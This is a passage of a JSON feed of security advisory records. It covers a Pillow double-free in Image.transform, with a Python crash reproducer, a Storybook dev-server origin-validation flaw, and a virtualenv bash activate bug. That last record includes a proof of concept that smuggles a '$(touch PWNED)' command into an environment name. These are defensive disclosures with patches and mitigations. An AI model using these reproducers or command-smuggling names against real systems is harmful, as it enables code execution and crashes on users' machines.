`MemoryError`, Pillow frees the output image's memory once while handling the error and then again when the Python object is cleaned up. Anyone who can choose the output size of `Image.transform()` can trigger it, but only on a worker with a memory limit (a common hardening for image workers) or a 32-bit process. The result is a crash of the worker, plus corruption of its heap that has not been shown to be controllable.\n\nThe bug is in `ImagingScaleAffine()` in `src/libImaging/Geometry.c` (line 866). When its `calloc()` for the per-column lookup table of `4 × width` bytes fails, it calls `ImagingDelete(imOut)`. When the call comes from `Image.transform()`, `imOut` is the `Imaging` struct owned by the live Python `ImagingCore` output object. `_dealloc()` in `src/_imaging.c` later runs `ImagingDelete()` on the freed struct again, writing its mutex and refcount in freed memory and freeing the pixel blocks a second time. The path is reached with `Transform.EXTENT`, or `Transform.AFFINE` with a pure scale/translate matrix, under the default NEAREST resampling. A very wide, 1-row output size makes the lookup table the allocation that fails while the image itself still fits. On 64-bit Linux with default overcommit, that requires an address-space limit such as `ulimit -v`, `uwsgi --limit-as` or `systemd LimitAS=`. `resize()`, `thumbnail()` and `rotate()` are not affected. The attached reproducer runs on a stock build with a 1 GB limit: `transform((300000000, 1), EXTENT)` raises and catches `MemoryError`, then the process dies with SIGSEGV in `free()` called from `_dealloc()`. A memory-checking build reports the same path as a heap use-after-free. The faulty line was inherited from PIL 1.1.7 in the original fork commit, so every Pillow release since 1.0 is affected. A patch is attached.\n\n## Details\n\n`ImagingScaleAffine()` frees an image it does not own. On the one error path where its `calloc()` for the per-column lookup table fails, it calls `ImagingDelete(imOut)`. When reached through `Image.transform()`, `imOut` is the `Imaging` struct held by a live Python `ImagingCore` object; that object's `_dealloc()` later calls `ImagingDelete()` on the already-freed struct and frees its pixel blocks a second time.\n\nShortest demonstration on the stock build (the address-space limit stands in for `ulimit -v` / `uwsgi --limit-as` / `systemd LimitAS=` on a worker):\n\n```python\nimport resource, gc\nfrom PIL import Image\nresource.setrlimit(resource.RLIMIT_AS, (1_000_000_000,) * 2)\nsrc = Image.new(\"L\", (8, 8))\ntry:\n src.transform((300_000_000, 1), Image.Transform.EXTENT, (0, 0, 8, 8))\nexcept MemoryError:\n pass # expected, and the process should carry on\ngc.collect() # instead: SIGSEGV in _dealloc -> ImagingDelete -> free()\n```\n\nThe 300 MB output image allocates; `calloc(300000000, 4)` (1.2 GB) does not. `MemoryError` is raised as intended, but the interpreter then dies with SIGSEGV, gdb showing `free()` ← `memory_return_block`/`ImagingDestroyArray` (`src/libImaging/Storage.c:396,408`) ← `ImagingDelete` (`Storage.c:271`) ← `_dealloc` (`src/_imaging.c:188`). An AddressSanitizer build of the same sources (with `max_allocation_size_mb` used to make the `calloc` fail instead of an rlimit) reports `heap-use-after-free` in `ImagingDelete src/libImaging/Storage.c:257` called from `_dealloc src/_imaging.c:188`, on a 128-byte region \"freed by\" `ImagingDelete` ← `ImagingScaleAffine src/libImaging/Geometry.c:866` ← `ImagingTransformAffine Geometry.c:1043` ← `ImagingTransform Geometry.c:1135` ← `_transform src/_imaging.c:2153`, \"previously allocated by\" `ImagingNewPrologueSubtype Storage.c:53` ← … ← `_new src/_imaging.c:756`.\n\n### Code path\n\n`Image.transform()` creates the output image as an ordinary Python-owned image and then transforms *into* it:\n\n```python\n# src/PIL/Image.py:3008…3021\n im = new(self.mode, size, fillcolor)\n …\n im.__transformer(\n (0, 0, *size), self, method, data, resample, fillcolor is None\n )\n```\n\n`__transformer()` rewrites `Transform.EXTENT` into an axis-aligned affine matrix (`src/PIL/Image.py:3040-3046`: `data = (xs, 0, x0, 0, ys, y0)`, `method = Transform.AFFINE`) and calls `self.im.transform(box, image.im, method, data, resample, fill)` (`Image.py:3117`). `resample` defaults to `Resampling.NEAREST` (`Image.py:2936`).\n\nIn C, `_transform()` passes its *own* image as the destination:\n\n```c\n/* src/_imaging.c:2153 */\n imOut = ImagingTransform(\n self->image, imagep->image, method, x0, y0, x1, y1, a, filter, fill\n );\n```\n\n`ImagingTransformAffine()` takes the scaling fast path because the filter is NEAREST and the matrix has no shear:\n\n```c\n/* src/libImaging/Geometry.c:1035-1043 */\n if (filterid || imIn->type == IMAGING_TYPE_I16) {\n return ImagingGenericTransform(…);\n }\n if (a[1] == 0 && a[3] == 0) {\n /* Scaling */\n return ImagingScaleAffine(imOut, imIn, x0, y0, x1, y1, a, fill);\n }\n```\n\nand `ImagingScaleAffine()` allocates a table of `imOut->xsize` ints:\n\n```c\n/* src/libImaging/Geometry.c:863-868 */\n /* malloc check ok, uses calloc for overflow */\n xintab = (int *)calloc(imOut->xsize, sizeof(int));\n if (!xintab) {\n ImagingDelete(imOut); /* destroy`, and `free(im)`. `self->image` in the `ImagingCore` object still points at the freed struct. `_transform()` returns `NULL`, `Image.transform()` propagates `MemoryError`, the half-built output `Image` loses its last reference, and `_dealloc()` (`src/_imaging.c:188`) calls `ImagingDelete(imagep->image)` again: it locks `im->mutex` and decrements `im->refcount` inside freed me\n\nAffected package ranges reported by GitHub:\nPillow: <= 12.3.0","action":"GitHub lists first patched versions: Pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-21T20:03:56.000Z","updatedAt":"2026-10-21T20:03:57.000Z","regions":["Global"],"vendor":null,"product":"Pillow","stacks":["Python packages (PyPI)","Pillow","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-7mwm-ghpf-9vrm","asOf":"2026-10-21T20:03:57.000Z"},"epss":{"probability":0.00512,"percentile":0.43362,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112402&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-7mwm-ghpf-9vrm","url":"https://github.com/advisories/GHSA-7mwm-ghpf-9vrm","type":"primary","publishedAt":"2026-10-21T20:03:56.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-7mwm-ghpf-9vrm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-7mwm-ghpf-9vrm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-7mwm-ghpf-9vrm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-7mwm-ghpf-9vrm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-7mwm-ghpf-9vrm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-7mwm-ghpf-9vrm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-7mwm-ghpf-9vrm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-7mwm-ghpf-9vrm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-7mwm-ghpf-9vrm, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-112402","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112402","type":"primary","publishedAt":"2026-10-19T22:17:07.633Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112402&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112402, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114125","cveId":"CVE-2026-114125","aliases":["GHSA-f2ph-cmg5-wxc8"],"kind":"vulnerability","title":"Storybook: Missing origin validation in Storybook preview allows code injection from malicious websites","summary":"**Summary:** A malicious website may be able to cause unauthorized file changes in a developer’s project while an affected Storybook development server is running. Under additional conditions, a changed file could be executed by a local runtime with the developer’s privileges. We are not aware of exploitation in the wild.\n\nYou are impacted if you run a Storybook dev server in the affected versions.","detail":"**Summary:** A malicious website may be able to cause unauthorized file changes in a developer’s project while an affected Storybook development server is running. Under additional conditions, a changed file could be executed by a local runtime with the developer’s privileges. We are not aware of exploitation in the wild.\n\n## Who is impacted?\n\nYou are impacted if you run a Storybook dev server in the affected versions.\n\nYou are not impacted if:\n\n- You run a dev server that you never open in a web browser (e.g. headless automation, MCP clients)\n- You run or visit a built version of Storybook\n\nRecent versions of Chrome and Firefox may ask for permission before a website can connect to a `localhost` service. This reduces the risk, but does not remove it. Do not grant this permission to websites you don’t trust.\n\n## Recommended actions\n\n### Upgrade Storybook\n\nStorybook has released patched versions of all affected major Storybook versions that fix all the vulnerabilities necessary for the worst-case scenario above to occur. \n\nUpgrade to a patched version listed below before running `storybook dev` again. If you cannot upgrade immediately, do not run an affected Storybook dev server until you can apply the fix.\n\n- 11.0.0-alpha.6\n- 10.6.2\n- 9.1.21\n- 8.6.19\n\n### Review potentially breaking changes\n\nDue to the exceptional nature of the reported vulnerabilities, the Storybook team has decided to change the default behavior of Storybook, including versions 8 and 9, for several network-related features that are not essential to most Storybook users' workflow. If your team relies on the affected features, we've added feature flags that can disable specific security updates to support your existing workflows.\n\nPlease carefully read the introduced flags and the consequences of using them.\n\n#### Iframe embedding over the network is disabled by default\n\nStorybook no longer allows the manager or preview to be embedded as an iframe on a website with a different host name. Built versions of Storybook are unaffected and can be freely embedded.\n\nIf you rely on embedding a Storybook dev server through a separate web app, run that separate app on `localhost`. You may also use the `security.insecureRemoteIframeEmbed` feature flag to re-enable iframe embedding from any origin.\n\n#### The preview iframe rejects messages sent by an unknown host\n\nBoth the Storybook preview and manager now restrict the origin of iframes and parent windows that they can send messages to and receive messages from using the `postMessage` API.\n\nBy default, Storybook in dev mode only accepts communication with its own origin and other `localhost` services. Built Storybooks continue to accept communication from unknown origins.\n\nA Storybook addon or integration could hypothetically rely on `postMessage` to update a live story's args. If you do that, reach out to the Storybook team to explore safer alternatives.\n\nStorybook composition also relies on `postMessage`, so a composed Storybook on a different origin now fails to load unless it has been built. The `security.insecureIframeMessaging` feature flag disables this protection, but we recommend you build composed Storybooks instead.\n\n#### The `highlight` event signature has changed\n\nStorybook’s own accessibility addon uses the `highlight` event to inject highlights into the preview, which a user can click. Clicking the highlight opens a menu with a link to a documentation page.\n\nThe API for that event was too permissive and could be used to trigger arbitrary events, including events processed by the user’s dev server. We reworked the API to prevent abuse. Besides the accessibility addon, Chromatic's Visual Tests addon uses this API to link to documentation from highlighted ignored elements. Update the Visual Tests addon to version 5.5.1 or later to keep that link working. Because no other addons use this API as far as we know, we have not added a feature flag to restore the old API.\n\n## Disclosure timeline\n\nOn September 30th, the Storybook team received a responsible disclosure showing how a malicious website can embed a Storybook dev server's preview iframe and send events to the dev server on the developer's machine.\n\nThey combined this information with findings from an ongoing security audit to come up with a worst-case-scenario exploitation of the disclosed vulnerability, and the ones we independently discovered. They then worked to address all layers necessary for this worst-case scenario to happen. We have not received evidence of exploitation in real Storybook projects. The attack outlined in this advisory relies on correctly exploiting a sequence of many vulnerabilities, some of which were never disclosed to the Storybook team.\n\n### Worst-case attack scenario\n\nAn attacker-controlled website can interact with the preview of a running Storybook dev server. With user interaction, it may cause the dev server to make unauthorized changes to story files. If a malicious file is subsequently executed by a local runtime, the attack could lead to arbitrary code execution with the developer’s permissions.\n\nAffected package ranges reported by GitHub:\nstorybook: >= 8.0.0, < 8.6.19\nstorybook: >= 9.0.0, < 9.1.21\nstorybook: >= 10.0.0, < 10.6.2\nstorybook: >= 11.0.0-alpha.0, < 11.0.0-alpha.6\n@storybook/core: >= 8.0.0, < 8.6.19\n@storybook/core-server: >= 8.0.0, < 8.6.19\n@storybook/experimental-addon-test: >= 8.0.0, < 8.6.19\n@storybook/addon-vitest: >= 9.0.0, < 9.1.21\n@storybook/addon-vitest: >= 10.0.0, < 10.6.2\n@storybook/addon-vitest: >= 11.0.0-alpha.0, < 11.0.0-alpha.6\n@storybook/addon-mcp: >= 10.6.0, < 10.6.2\n@storybook/addon-mcp: >= 11.0.0-alpha.0, < 11.0.0-alpha.6","action":"GitHub lists first patched versions: storybook: 8.6.19; storybook: 9.1.21; storybook: 10.6.2; storybook: 11.0.0-alpha.6; @storybook/core: 8.6.19; @storybook/core-server: 8.6.19; @storybook/experimental-addon-test: 8.6.19; @storybook/addon-vitest: 9.1.21; @storybook/addon-vitest: 10.6.2; @storybook/addon-vitest: 11.0.0-alpha.6; @storybook/addon-mcp: 10.6.2; @storybook/addon-mcp: 11.0.0-alpha.6. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-21T17:23:29.000Z","updatedAt":"2026-10-22T17:21:57.293Z","regions":["Global"],"vendor":null,"product":"storybook, storybook, storybook, storybook, @storybook/core, @storybook/core-server, @storybook/experimental-addon-test, @storybook/addon-vitest, @storybook/addon-vitest, @storybook/addon-vitest, @storybook/addon-mcp, @storybook/addon-mcp","stacks":["JavaScript packages (npm)","storybook","@storybook/core","@storybook/core-server","@storybook/experimental-addon-test","@storybook/addon-vitest","@storybook/addon-mcp","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114125","asOf":"2026-10-22T17:21:57.293Z"},"epss":{"probability":0.00385,"percentile":0.32265,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114125&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-f2ph-cmg5-wxc8","url":"https://github.com/advisories/GHSA-f2ph-cmg5-wxc8","type":"primary","publishedAt":"2026-10-21T17:23:29.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-f2ph-cmg5-wxc8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-f2ph-cmg5-wxc8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-f2ph-cmg5-wxc8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-f2ph-cmg5-wxc8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-f2ph-cmg5-wxc8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-f2ph-cmg5-wxc8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-f2ph-cmg5-wxc8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-f2ph-cmg5-wxc8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-f2ph-cmg5-wxc8, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-114125","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114125","type":"primary","publishedAt":"2026-10-21T18:17:24.957Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114125&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114125, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113725","cveId":"CVE-2026-113725","aliases":["GHSA-vxj4-q4g9-crj7"],"kind":"vulnerability","title":"virtualenv bash activate runs commands from an environment name with a backslash before $","summary":"The bash `activate` script escapes the environment name for only one of the two passes bash makes over `PS1`, so a\nbackslash in the name undoes the escaping and a name containing `\\$(...)` runs as commands in the user's shell each\ntime bash draws the prompt.\n\n`src/virtualenv/activation/bash/activate.sh`, the block that prepends the environment name to `PS1`.","detail":"### Summary\n\nThe bash `activate` script escapes the environment name for only one of the two passes bash makes over `PS1`, so a\nbackslash in the name undoes the escaping and a name containing `\\$(...)` runs as commands in the user's shell each\ntime bash draws the prompt.\n\n### Affected area\n\n`src/virtualenv/activation/bash/activate.sh`, the block that prepends the environment name to `PS1`.\n\n### Attacker-controlled input\n\nThe environment name: the environment directory's name, or the `--prompt` or `VIRTUALENV_PROMPT` value. An attacker\nneeds to influence it, for example through a CI job or wrapper tool that passes a branch, project or job name through,\nor a directory in a cloned repository or unpacked archive. `--prompt .` takes the current directory's name.\n\n### Details\n\nbash handles `PS1` in two passes each time it draws the prompt: it first decodes backslash prompt escapes, turning `\\\\`\ninto `\\` and `\\$` into `$` (or `#` for root), and then runs parameter expansion, command substitution and arithmetic\nexpansion on the result. Since 21.13.0 the script escapes backslashes, dollar signs and backticks in the name, but only\nfor the second pass, so the decode pass strips the escaping that a backslash in the name precedes. Releases before\n21.13.0 do not escape the name at all. A bash running as root decodes `\\$` to `#`, so the payload shows the wrong text\nthere but runs nothing. zsh does no decode pass and is not affected.\n\n### Proof of concept\n\n```console\n$ virtualenv --prompt 'a\\$(touch PWNED)' env\n$ bash --norc --noprofile -c 'source env/bin/activate; printf \"%s\" \"${PS1@P}\"'\n$ ls PWNED\nPWNED\n```\n\n### Impact\n\nArbitrary command execution in the shell of a user who sources the `activate` script of an environment whose name an\nattacker influenced, with that user's privileges, once per prompt draw.\n\n### Versions tested\n\n21.14.6 with bash 5.2.15 on Debian bookworm, as an unprivileged user and as root.\n\n### Known mitigation\n\nSet `VIRTUAL_ENV_DISABLE_PROMPT=1` before you source `activate`, which leaves `PS1` alone, or run `shopt -u promptvars`\nif your prompt does not need expansion. Check the name of an environment you did not create before you source its\n`activate`.\n\n### Latest release\n\n- [x] The problem reproduces on the latest virtualenv release.\n\n21.14.6\n\n### Patches\n\nFixed in 21.14.7. Under bash, `activate` now escapes backslashes, dollar signs and backticks for both passes, so the\nexample above runs nothing and the prompt shows the name as given. zsh keeps the single escaping it needs.\nFix: https://github.com/pypa/virtualenv/commit/c3104e02474b652832a9bbaae79f6e1696296932\n\n### Credits\n\nFound while running the virtualenv test suite as root inside the Anthropic OSS Scanner build image.\n\nAffected package ranges reported by GitHub:\nvirtualenv: <= 21.14.6","action":"GitHub lists first patched versions: virtualenv: 21.14.7. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-21T16:49:01.000Z","updatedAt":"2026-10-22T16:47:38.403Z","regions":["Global"],"vendor":null,"product":"virtualenv","stacks":["Python packages (PyPI)","virtualenv","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113725","asOf":"2026-10-22T16:47:38.403Z"},"epss":{"probability":0.00193,"percentile":0.08858,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113725&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-vxj4-q4g9-crj7","url":"https://github.com/advisories/GHSA-vxj4-q4g9-crj7","type":"primary","publishedAt":"2026-10-21T16:49:01.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-vxj4-q4g9-crj7, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-vxj4-q4g9-crj7, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-vxj4-q4g9-crj7, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-vxj4-q4g9-crj7, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-vxj4-q4g9-crj7, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-vxj4-q4g9-crj7, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-vxj4-q4g9-crj7, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-vxj4-q4g9-crj7, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API 